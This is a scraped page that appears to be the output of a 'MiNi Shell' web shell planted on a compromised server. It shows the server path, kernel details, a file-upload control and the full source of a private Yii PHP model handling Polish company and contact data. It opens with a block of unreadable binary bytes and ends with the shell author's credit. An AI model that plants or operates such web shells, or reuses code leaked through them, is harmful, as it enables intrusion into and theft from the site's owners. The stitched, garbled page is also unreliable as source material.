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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/models/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/models/DataUpdateSurveyForm.php

<?php
namespace backend\models;

use Yii;
use yii\base\Model;
use common\models\types\ContactDataType;

/**
 * Data update by survey form
 */
class DataUpdateSurveyForm extends Model
{
    public $cmp_name;
    public $cmp_street;
    public $cmp_address_cont;
    public $cmp_building_number;
    public $cmp_apartment_number;
    public $cmp_postcode;
    public $cmp_locality;
    public $cmp_region;
    public $cmp_id_country;
    public $cmp_lat;
    public $cmp_lng;    
    public $cmp_email_1;
    public $cmp_email_2;    
    public $cmp_phone_1;
    public $cmp_phone_2;    
    public $cmp_www_1;
    public $cmp_www_2;
    public $cmp_fb;
    public $cmp_business_registration_number;
    public $cmp_national_court_register_number;

    public $cmp_inv_name;
    public $cmp_inv_street;
    public $cmp_inv_address_cont;
    public $cmp_inv_building_number;
    public $cmp_inv_apartment_number;
    public $cmp_inv_postcode;
    public $cmp_inv_locality;
    public $cmp_inv_id_country;
    public $cmp_inv_tax_id;
    
    public $u_forename;
    public $u_surname;
    public $u_email;
    public $u_phone;
     
    private $modelCompany = false;

    private $id_cmp_email_1;
    private $id_cmp_email_2;
    private $id_cmp_phone_1;
    private $id_cmp_phone_2;
    private $id_cmp_www_1;
    private $id_cmp_www_2;
    private $id_cmp_fb;
    private $id_u_email;
    private $id_u_phone;
    
    private $oldData = [];
    private $newData = [];
    
    /**
     * @inheritdoc
     */
    public function scenarios()
    {
        $scenarios = parent::scenarios();
//        $scenarios['default'] = [];
        return $scenarios;                
    }
    
    /**
     * @inheritdoc
     */
    public function rules()
    {
        return [
            ['cmp_name', 'required'],
            ['cmp_name', 'string', 'min' => 1, 'max' => 255],
            
            ['cmp_street', 'required'],
            ['cmp_street', 'string', 'min' => 1, 'max' => 80],
            
            ['cmp_address_cont','default'],
            ['cmp_address_cont', 'string', 'max' => 100],
            
            ['cmp_building_number', 'required'],
            ['cmp_building_number', 'string', 'max' => 15],
            
            ['cmp_apartment_number', 'default'],
            ['cmp_apartment_number', 'string', 'max' => 10],
            
            ['cmp_postcode', 'required'],
            ['cmp_postcode', 'string', 'max' => 10],
            
            ['cmp_locality', 'required'],
            ['cmp_locality', 'string', 'min' => 3, 'max' => 60],
            
            ['cmp_region', 'required'],
            ['cmp_region', 'string', 'min' => 3, 'max' => 60],
            
            ['cmp_id_country', 'required'],
            ['cmp_id_country', 'string', 'min' => 2, 'max' => 6],
            ['cmp_id_country', 'exist', 'targetClass' => \common\models\Countries::className(), 'targetAttribute' => 'id_country'],
            
            ['cmp_business_registration_number', 'default'],
            ['cmp_business_registration_number', 'string', 'max' => 20],
            
            ['cmp_national_court_register_number', 'default'],
            ['cmp_national_court_register_number', 'string', 'max' => 20],
            
            ['cmp_lat', 'default'],
            ['cmp_lat', 'number', 'numberPattern' => '/^[\-\+]{0,1}[0-9]{1,3}\.[0-9]{2,15}$/i'], 
            
            ['cmp_lng', 'default'],
            ['cmp_lng', 'number', 'numberPattern' => '/^[\-\+]{0,1}[0-9]{1,3}\.[0-9]{2,15}$/i'],
            
            ['cmp_email_1', 'required'],
            ['cmp_email_1', 'string', 'min' => 6, 'max' => 60],
            ['cmp_email_1', 'email'],
            
            ['cmp_email_2', 'default'],
            ['cmp_email_2', 'string', 'min' => 6, 'max' => 60],
            ['cmp_email_2', 'email'],
            
            ['cmp_phone_1', 'default'],
            [
                'cmp_phone_1', 
                'match', 
                'pattern' => '/^[0-9]{9}$/i',
                'when' => function($model) { return $model->cmp_id_country === 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-cmp_id_country').value === 'PL'; }", 
                'message' => 'Niepoprawny format numeru telefonu komórkowego. Przykład dla Polski: 123456789.'
            ],
            [
                'cmp_phone_1', 
                'match', 
                'pattern' => '/^\+[0-9]{9,15}$/i',
                'when' => function($model) { return $model->cmp_id_country !== 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-cmp_id_country').value !== 'PL'; }", 
                'message' => 'Niepoprawny format numeru telefonu komórkowego. Jeżeli numer dotyczy innego kraju niż Polska, to wybierz poniżej w adresie kraj. Przykład: +49123456789.'
            ],
                        
            ['cmp_phone_2', 'default'],
            [
                'cmp_phone_2', 
                'match', 
                'pattern' => '/^[0-9]{9}$/i',
                'when' => function($model) { return $model->cmp_id_country === 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-cmp_id_country').value === 'PL'; }", 
                'message' => 'Niepoprawny format numeru telefonu komórkowego. Przykład dla Polski: 123456789.'
            ],
            [
                'cmp_phone_2', 
                'match', 
                'pattern' => '/^\+[0-9]{9,15}$/i',
                'when' => function($model) { return $model->cmp_id_country !== 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-cmp_id_country').value !== 'PL'; }", 
                'message' => 'Niepoprawny format numeru telefonu komórkowego. Jeżeli numer dotyczy innego kraju niż Polska, to wybierz poniżej w adresie kraj. Przykład: +49123456789.'
            ],
                        
            ['cmp_www_1', 'default'],
            ['cmp_www_1', 'url', 'validSchemes' => ['http', 'https'], 'defaultScheme' => 'http'],
                        
            ['cmp_www_2', 'default'],
            ['cmp_www_2', 'url', 'validSchemes' => ['http', 'https'], 'defaultScheme' => 'http'],
                        
            ['cmp_fb', 'default'],
            ['cmp_fb', 'url', 'validSchemes' => ['http', 'https'], 'defaultScheme' => 'http'],
            
            ['cmp_inv_name', 'required'],
            ['cmp_inv_name', 'string', 'min' => 1, 'max' => 255],
            
            ['cmp_inv_street', 'required'],
            ['cmp_inv_street', 'string', 'min' => 1, 'max' => 80],
            
            ['cmp_inv_address_cont','default'],
            ['cmp_inv_address_cont', 'string', 'max' => 100],
            
            ['cmp_inv_building_number', 'required'],
            ['cmp_inv_building_number', 'string', 'max' => 15],
            
            ['cmp_inv_apartment_number', 'default'],
            ['cmp_inv_apartment_number', 'string', 'max' => 10],
            
            ['cmp_inv_postcode', 'required'],
            ['cmp_inv_postcode', 'string', 'max' => 10],
            
            ['cmp_inv_locality', 'required'],
            ['cmp_inv_locality', 'string', 'min' => 3, 'max' => 60],
            
            ['cmp_inv_id_country', 'required'],
            ['cmp_inv_id_country', 'string', 'min' => 2, 'max' => 6],
            ['cmp_inv_id_country', 'exist', 'targetClass' => \common\models\Countries::className(), 'targetAttribute' => 'id_country'],
            
            ['cmp_inv_tax_id', 'required'],
            ['cmp_inv_tax_id', 'string', 'max' => 30],
            
            ['u_forename', 'required'],
            ['u_forename', 'trim'], 
            ['u_forename', 'string', 'min' => 1, 'max' => 30],
            
            ['u_surname', 'required'],
            ['u_surname', 'trim'], 
            ['u_surname', 'string', 'min' => 1, 'max' => 40],
                        
            ['u_email', 'required'],
            ['u_email', 'string', 'min' => 6, 'max' => 60],
            ['u_email', 'email'],
            
            ['u_phone', 'default'],
            [
                'u_phone', 
                'match', 
                'pattern' => '/^[0-9]{9}$/i',
                'when' => function($model) { return $model->cmp_id_country === 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-cmp_id_country').value === 'PL'; }", 
                'message' => 'Niepoprawny format numeru telefonu komórkowego. Przykład dla Polski: 123456789.'
            ],
            [
                'u_phone', 
                'match', 
                'pattern' => '/^\+[0-9]{9,15}$/i',
                'when' => function($model) { return $model->cmp_id_country !== 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-cmp_id_country').value !== 'PL'; }", 
                'message' => 'Niepoprawny format numeru telefonu komórkowego. Jeżeli numer dotyczy innego kraju niż Polska, to wybierz poniżej w adresie kraj. Przykład: +49123456789.'
            ],
        ];
    }
    
    /**
     * @inheritdoc
     */
    public function attributeLabels()
    {
        return [            
            'cmp_name' => 'Nazwa firmy',
            'cmp_street' => 'Ulica',
            'cmp_address_cont' => 'Adres cd.',
            'cmp_building_number' => 'Nr budynku',
            'cmp_apartment_number' => 'Nr lokalu',
            'cmp_postcode' => 'Kod pocztowy',
            'cmp_locality' => 'Miejscowość',
            'cmp_id_country' => 'Kraj',
            'cmp_region' => 'Województwo/Region',
            'cmp_lat' => 'Szerokość (geograficzna)',
            'cmp_lng' => 'Długość (geograficzna)',    
            'cmp_email_1' => 'E-mail pierwszy',
            'cmp_email_2' => 'E-mail drugi',    
            'cmp_phone_1' => 'Telefon pierwszy',
            'cmp_phone_2' => 'Telefon drugi',    
            'cmp_www_1' => 'www pierwszy',
            'cmp_www_2' => 'www drugi',
            'cmp_fb' => 'Facebook',
            'cmp_business_registration_number' => 'REGON',
            'cmp_national_court_register_number' => 'KRS',

            'cmp_inv_name' => 'Nazwa firmy',
            'cmp_inv_street' => 'Ulica',
            'cmp_inv_address_cont' => 'Adres cd.',
            'cmp_inv_building_number' => 'Nr budynku',
            'cmp_inv_apartment_number' => 'Nr lokalu',
            'cmp_inv_postcode' => 'Kod pocztowy',
            'cmp_inv_locality' => 'Miejscowość',
            'cmp_inv_id_country' => 'Kraj',
            'cmp_inv_tax_id' => 'NIP',

            'u_forename' => 'Imię',
            'u_surname' => 'Nazwisko',
            'u_email' => 'E-mail',
            'u_phone' => 'Telefon',
        ];
    }

    public function setCompany($modelCompany)
    {
        $this->modelCompany = $modelCompany;
        
        $this->cmp_name = $modelCompany->name;
        $this->cmp_street = $modelCompany->street;        
        $this->cmp_address_cont = $modelCompany->address_cont;
        $this->cmp_building_number = $modelCompany->building_number;
        $this->cmp_apartment_number = $modelCompany->apartment_number;
        $this->cmp_postcode = $modelCompany->postcode;
        $this->cmp_locality = $modelCompany->locality;
        $this->cmp_id_country = $modelCompany->id_country;
        $this->cmp_region = $modelCompany->region;
        $this->cmp_lat = $modelCompany->lat;
        $this->cmp_lng = $modelCompany->lng;
        $this->cmp_business_registration_number = $modelCompany->business_registration_number;
        $this->cmp_national_court_register_number = $modelCompany->national_court_register_number;
        
        if(!empty($modelCompany->contactData)) {
            foreach($modelCompany->contactData as $modelContactData) {
                if($modelContactData->data_type === ContactDataType::EMAIL) {
                    if(empty($this->cmp_email_1)) {
                        $this->cmp_email_1 = $modelContactData->data_value;
                        $this->id_cmp_email_1 = $modelContactData->id_contact_data;
                    } elseif(empty($this->cmp_email_2)) {
                        $this->cmp_email_2 = $modelContactData->data_value;
                        $this->id_cmp_email_2 = $modelContactData->id_contact_data;
                    } 
                } elseif($modelContactData->data_type === ContactDataType::PHONE || $modelContactData->data_type === ContactDataType::MOBILE_PHONE) {
                    if(empty($this->cmp_phone_1)) {
                        $this->cmp_phone_1 = $modelContactData->data_value;
                        $this->id_cmp_phone_1 = $modelContactData->id_contact_data;
                    } elseif(empty($this->cmp_phone_2)) {
                        $this->cmp_phone_2 = $modelContactData->data_value;
                        $this->id_cmp_phone_2 = $modelContactData->id_contact_data;
                    }
                } elseif($modelContactData->data_type === ContactDataType::WWW) {
                    if(empty($this->cmp_www_1)) {
                        $this->cmp_www_1 = $modelContactData->data_value;
                        $this->id_cmp_www_1 = $modelContactData->id_contact_data;
                    } elseif(empty($this->cmp_www_2)) {
                        $this->cmp_www_2 = $modelContactData->data_value;
                        $this->id_cmp_www_2 = $modelContactData->id_contact_data;
                    }
                } elseif($modelContactData->data_type === ContactDataType::FACEBOOK) {
                    if(empty($this->cmp_fb)) {
                        $this->cmp_fb = $modelContactData->data_value;
                        $this->id_cmp_fb = $modelContactData->id_contact_data;
                    }
                }
            }
        }
        
        if(!empty($modelCompany->invoicingData)) {
            $modelCompanyInvoicingData = $modelCompany->invoicingData[0];
        
            $this->cmp_inv_name = $modelCompanyInvoicingData->name;
            $this->cmp_inv_street = $modelCompanyInvoicingData->street;
            $this->cmp_inv_address_cont = $modelCompanyInvoicingData->address_cont;
            $this->cmp_inv_building_number = $modelCompanyInvoicingData->building_number;
            $this->cmp_inv_apartment_number = $modelCompanyInvoicingData->apartment_number;
            $this->cmp_inv_postcode = $modelCompanyInvoicingData->postcode;
            $this->cmp_inv_locality = $modelCompanyInvoicingData->locality;
            $this->cmp_inv_id_country = $modelCompanyInvoicingData->id_country;
            $this->cmp_inv_tax_id = $modelCompanyInvoicingData->tax_id;
        }
        
        $modelUser = $modelCompany->user;
        
        $this->u_forename = $modelUser->forename;
        $this->u_surname = $modelUser->surname;
        
        if(!empty($modelUser->contactData)) {
            foreach($modelUser->contactData as $modelContactData) {
                if($modelContactData->data_type === ContactDataType::EMAIL) {
                    if(empty($this->u_email)) {
                        $this->u_email = $modelContactData->data_value;
                        $this->id_u_email = $modelContactData->id_contact_data;
                    }
                } elseif($modelContactData->data_type === ContactDataType::PHONE || $modelContactData->data_type === ContactDataType::MOBILE_PHONE) {
                    if(empty($this->u_phone)) {
                        $this->u_phone = $modelContactData->data_value;
                        $this->id_u_phone = $modelContactData->id_contact_data;
                    }
                }
            }
        }
        
        $fields = array_keys($this->attributeLabels());
        foreach($fields as $field) {
            $this->oldData[$field] = $this->$field;
        }
        
    }
    
    public function getCompany()
    {
        return $this->modelCompany;
    }
    
    public function getOldData()
    {
        return $this->oldData;
    }
    
    public function getNewData()
    {
        return $this->newData;
    }
    
    public function save()
    {
        $flag = true;
        $flag = $this->saveCompany();
        $flag = $flag && $this->saveCompanyInvoicingData();
        $flag = $flag && $this->saveCompanyContactData();
        $flag = $flag && $this->saveUser();
        $flag = $flag && $this->saveUserContactData(); 
        
        $fields = array_keys($this->attributeLabels());
        foreach($fields as $field) {
            $this->newData[$field] = $this->$field;
        }
        
        return $flag;
    }
    
    protected function saveCompany()
    {
        $this->modelCompany->name = $this->cmp_name;
        $this->modelCompany->street = $this->cmp_street;
        $this->modelCompany->address_cont = $this->cmp_address_cont;
        $this->modelCompany->building_number = $this->cmp_building_number;
        $this->modelCompany->apartment_number = $this->cmp_apartment_number;
        $this->modelCompany->postcode = $this->cmp_postcode;
        $this->modelCompany->locality = $this->cmp_locality;
        $this->modelCompany->id_country = $this->cmp_id_country;
        $this->modelCompany->region = $this->cmp_region;
        $this->modelCompany->lat = $this->cmp_lat;
        $this->modelCompany->lng = $this->cmp_lng;
        $this->modelCompany->business_registration_number = $this->cmp_business_registration_number;
        $this->modelCompany->national_court_register_number = $this->cmp_national_court_register_number;
        
        return !!$this->modelCompany->save();
    }
    
    protected function saveCompanyInvoicingData()
    {
        $modelCompany = $this->modelCompany;
        
        if(empty($modelCompany->invoicingData)) {
            $modelCompanyInvoicingData = new \common\models\CompaniesInvoicingData(['scenario' => 'create']);
            $modelCompanyInvoicingData->id_company = $modelCompany->id_company;
            $modelCompanyInvoicingData->or_main = 1;
        } else {
            $modelCompanyInvoicingData = $modelCompany->invoicingData[0];            
        }
        
        $modelCompanyInvoicingData->name = $this->cmp_inv_name;
        $modelCompanyInvoicingData->street = $this->cmp_inv_street;        
        $modelCompanyInvoicingData->address_cont = $this->cmp_inv_address_cont;
        $modelCompanyInvoicingData->building_number = $this->cmp_inv_building_number;
        $modelCompanyInvoicingData->apartment_number = $this->cmp_inv_apartment_number;
        $modelCompanyInvoicingData->postcode = $this->cmp_inv_postcode;
        $modelCompanyInvoicingData->locality = $this->cmp_inv_locality;
        $modelCompanyInvoicingData->id_country = $this->cmp_inv_id_country;
        $modelCompanyInvoicingData->tax_id = $this->cmp_inv_tax_id;
        
        return !!$modelCompanyInvoicingData->save();
    }
    
    protected function saveCompanyContactData()
    {
        $modelCompany = $this->modelCompany;
        
        $labelsForContactDataTypes = \common\models\types\ContactDataType::getValuesWithLabels();
        
        $maxOrder = $modelCompany->getContactData()->select('MAX(data_order)')->scalar();
        
        $emailPurposes = [];
        foreach(\common\models\Emails::$purposesFields as $purposeField) {
            $emailPurposes[$purposeField] = 1;
        }
        $emailPurposes['or_contact_person'] = 0;
        
        $fieldsAndTypes = [
            'cmp_email_1' => ContactDataType::EMAIL,
            'cmp_email_2' => ContactDataType::EMAIL,            
            'cmp_phone_1' => ContactDataType::MOBILE_PHONE,
            'cmp_phone_2' => ContactDataType::MOBILE_PHONE,            
            'cmp_www_1' => ContactDataType::WWW,
            'cmp_www_2' => ContactDataType::WWW,            
            'cmp_fb' => ContactDataType::FACEBOOK,
        ];
        
        $fieldsNames = array_keys($fieldsAndTypes);
        foreach($fieldsNames as $fieldName) {
            $fieldNameForIdModel = 'id_'.$fieldName;
            
            if(!empty($this->$fieldName)) {
                if(empty($this->$fieldNameForIdModel)) {
                    $dataType = $fieldsAndTypes[$fieldName];                    
                    $modelContactData = new \common\models\CompaniesContactData(['scenario' => 'create']);
                    $modelContactData->data_type = $dataType;            
                    $modelContactData->id_company = $modelCompany->id_company;
                    $modelContactData->data_label = ucfirst($labelsForContactDataTypes[$dataType]);
                    $modelContactData->data_value = $this->$fieldName;
                    $modelContactData->data_order = $modelCompany->getContactData()->select('MAX(data_order)')->scalar() + 1;
                    if($dataType === ContactDataType::EMAIL) {
                       $modelContactData->settings = ['purposes' => $emailPurposes];  
                    }                    
                } else {
                    $modelContactData = \common\models\CompaniesContactData::findOne($this->$fieldNameForIdModel);
                    $modelContactData->data_value = $this->$fieldName;
                }
                
                if(!$modelContactData->save()) {
                    return false;
                } 
            } else {
                if(!empty($this->$fieldNameForIdModel)) {
                    $modelContactDataForDelete = \common\models\CompaniesContactData::findOne($this->$fieldNameForIdModel);
                    $modelsContactDataOther = $modelCompany->getContactData()->andWhere(['>', 'data_order', $modelContactDataForDelete->data_order])->orderBy('data_order')->all();

                    if(!empty($modelsContactDataOther)) {
                        foreach($modelsContactDataOther as $modelContactDataOther) {
                            $modelContactDataOther->data_order -= 1;
                            if(!$modelContactDataOther->save()) {
                                return false;
                            }
                        }
                    }

                    if($modelContactDataForDelete->delete() === false) {
                        return false;
                    }
                }
            } 
        }
        
        return true;
        
//        if(!empty($this->cmp_email_1)) {
//            if(empty($this->id_cmp_email_1)) {
//                $modelContactData = new \common\models\UsersContactData(['scenario' => 'create']);
//                $modelContactData->data_type = ContactDataType::EMAIL;            
//                $modelContactData->id_company = $modelCompany->id_company;
//                $modelContactData->data_label = ucfirst($labelsForContactDataTypes[ContactDataType::EMAIL]);
//                $modelContactData->data_value = $this->cmp_email_1;
//                $modelContactData->data_order = $modelCompany->getContactData()->select('MAX(data_order)')->scalar() + 1;
//                $modelContactData->settings = ['purposes' => $emailPurposes]; 
//            } else {
//                $modelContactData = \common\models\UsersContactData::findOne($this->id_cmp_email_1);
//                $modelContactData->data_value = $this->cmp_email_1;
//            }
//            if(!$modelContactData->save()) {
//                return false;
//            } 
//        } else {
//            if(!empty($this->id_cmp_email_1)) {
//                $modelContactDataForDelete = \common\models\UsersContactData::findOne($this->id_cmp_email_1);
//                $modelsContactDataOther = $modelCompany->getContactData()->andWhere(['>', 'data_order', $modelContactDataForDelete->data_order])->orderBy('data_order')->all();
//
//                if(!empty($modelsContactDataOther)) {
//                    foreach($modelsContactDataOther as $modelContactDataOther) {
//                        $modelContactDataOther->data_order -= 1;
//                        if(!$modelContactDataOther->save()) {
//                            return false;
//                        }
//                    }
//                }
//                
//                if($modelContactDataForDelete->delete() === false) {
//                    return false;
//                }
//            }
//        } 
        
    }
    
    protected function saveUser()
    {
        $modelUser = $this->modelCompany->user;
        
        $modelUser->forename = $this->u_forename;
        $modelUser->surname = $this->u_surname;
        
        return !!$modelUser->save();
    }
    
    protected function saveUserContactData()
    {
        $modelUser = $this->modelCompany->user;
        
        $this->u_forename = $modelUser->forename;
        $this->u_surname = $modelUser->surname;
        
        $labelsForContactDataTypes = \common\models\types\ContactDataType::getValuesWithLabels();
        
        $modelContactDataForEmail = null;
        $modelContactDataForPhone = null;
        if(!empty($modelUser->contactData)) {
            foreach($modelUser->contactData as $modelContactData) {
                if($modelContactData->data_type === ContactDataType::EMAIL) {
                    if(empty($modelContactDataForEmail)) {
                        $modelContactDataForEmail = $modelContactData;
                        $modelContactDataForEmail->setScenario('update');
                        
                    }
                } elseif($modelContactData->data_type === ContactDataType::PHONE || $modelContactData->data_type === ContactDataType::MOBILE_PHONE) {
                    if(empty($modelContactDataForPhone)) {
                        $modelContactDataForPhone = $modelContactData;
                        $modelContactDataForPhone->setScenario('update');
                    }
                }
            }
        }
        
        if(empty($modelContactDataForEmail)) {
            $emailPurposes = [];
            foreach(\common\models\Emails::$purposesFields as $purposeField) {
                $emailPurposes[$purposeField] = 1;
            }
            $emailPurposes['or_contact_person'] = 0;
            
            $modelContactDataForEmail = new \common\models\UsersContactData(['scenario' => 'create']);
            $modelContactDataForEmail->data_type = ContactDataType::EMAIL;            
            $modelContactDataForEmail->id_user = $modelUser->id_user;
            $modelContactDataForEmail->data_label = ucfirst($labelsForContactDataTypes[ContactDataType::EMAIL]);
            $modelContactDataForEmail->data_value = $this->u_email;
            $modelContactDataForEmail->data_order = $modelUser->getContactData()->select('MAX(data_order)')->scalar() + 1;
            $modelContactDataForEmail->required = 1;
            $modelContactDataForEmail->settings = ['purposes' => $emailPurposes];            
        }
        $modelContactDataForEmail->data_value = $this->u_email;
        if(!$modelContactDataForEmail->save()) {
            return false;
        }
        
        if(!empty($this->u_phone)) {
            if(empty($modelContactDataForPhone)) {
                $modelContactDataForPhone = new \common\models\UsersContactData(['scenario' => 'create']);
                $modelContactDataForPhone->data_type = ContactDataType::MOBILE_PHONE;            
                $modelContactDataForPhone->id_user = $modelUser->id_user;
                $modelContactDataForPhone->data_label = ucfirst($labelsForContactDataTypes[ContactDataType::MOBILE_PHONE]);
                $modelContactDataForPhone->data_value = $this->u_phone;
                $modelContactDataForPhone->data_order = $modelUser->getContactData()->select('MAX(data_order)')->scalar() + 1;
                $modelContactDataForPhone->required = 1;
            }            
            $modelContactDataForPhone->data_value = $this->u_phone;            
            if(!$modelContactDataForPhone->save()) {  
                return false;
            } 
        } else {
            if(!empty($this->id_u_phone)) {
                $modelContactDataForDelete = \common\models\UsersContactData::findOne($this->id_u_phone);
                $modelsContactDataOther = $modelUser->getContactData()->andWhere(['>', 'data_order', $modelContactDataForDelete->data_order])->orderBy('data_order')->all();

                if(!empty($modelsContactDataOther)) {
                    foreach($modelsContactDataOther as $modelContactDataOther) {
                        $modelContactDataOther->data_order -= 1;
                        if(!$modelContactDataOther->save()) {
                            return false;
                        }
                    }
                }

                if($modelContactDataForDelete->delete() === false) {
                    return false;
                }
            }
        }
        
        return true;
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com